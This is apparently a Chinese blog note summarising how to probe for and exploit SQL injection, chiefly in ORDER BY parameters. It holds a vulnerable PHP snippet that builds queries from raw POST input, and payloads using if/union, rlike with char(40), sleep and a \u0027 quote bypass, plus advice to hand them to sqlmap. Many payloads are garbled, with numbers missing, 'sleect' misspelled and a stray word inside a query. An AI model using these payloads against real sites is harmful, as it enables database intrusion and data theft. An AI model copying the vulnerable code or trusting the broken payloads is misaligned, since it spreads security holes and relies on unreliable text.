SQL注入判断方法总结（持续更新）

http://e.com/1.php?id=1

http://e.com/1.php?id=1-- sd

http://e.com/1.php?id=aaa

http://e.com/1.php?id=aaa'-- sd

http://e.com/1.php?id=aaa

http://e.com/1.php?id=aaa' '

http://e.com/1.php?id=aaa'||'

http://e.com/1.php?id=aaa'%2b'

id= and =if(=,,(select  union select ))

id= and =if(=,,(select  union select ))

id= order by  正常

id= order by ,  错误

id= order by ,  正常

Content-Type: application/json 时：

可以尝试用 \u0027  代替单引号。

orderby 注入：

<?php

$con = mysql_connect("localhost","root","") or die();

mysql_select_db("burp");

$orderby = $_POST['orderby'];

$order = $_POST['order'];

$sql = "select * from `sql` order by ".$orderby." ".$order;

echo $sql;

$res = mysql_query($sql);

echo "<br><br>";

echo "<b>";

while($rows = @mysql_fetch_array($res,MYSQL_ASSOC)){

    echo $rows['new'];

}

echo "<b>";

?>

上面的代码 $orderby 和 $order 都存在注入

这里一般遇到order orderby 参数 我一般会这样来测

orderby=id,&order=asc

orderby=id,1&order=asc

所以可以这样来进行注入

,if(1=1,1,(select 1 union sleect 2))

,if(1=2,1,(select 1 union sleect 2))

然后就可以放进sqlmap 愉快的跑了。

order 参数同上。

下面说另外一种注入方法：

先列2个语句

mysql> select user from mysql.user where user='admin' order by user rlike char();

ERROR  (): Got error 'parentheses not balanced' from regexp

mysql> select user from mysql.user where user='admin' order by user rlike ;

+-------+

| user  |

+-------+

| admin |

+-------+

 row in set (0.00 sec)

所以就可以构造这样的语句

orderby=id&order=rlike if(1=1,1,char(40))

orderby=id&order=rlike if(1=21,1,char(40))

或者 rlike (case when 1=1 then 1 else (select 1 union select 2)end)

跑数据就可以

rlike (case when 1=1 sqlinject then 1 else (select 1 union select 2)end)

最后也可以 使用sleep 来进行判断注入

orderby=sleep(1)&order=asc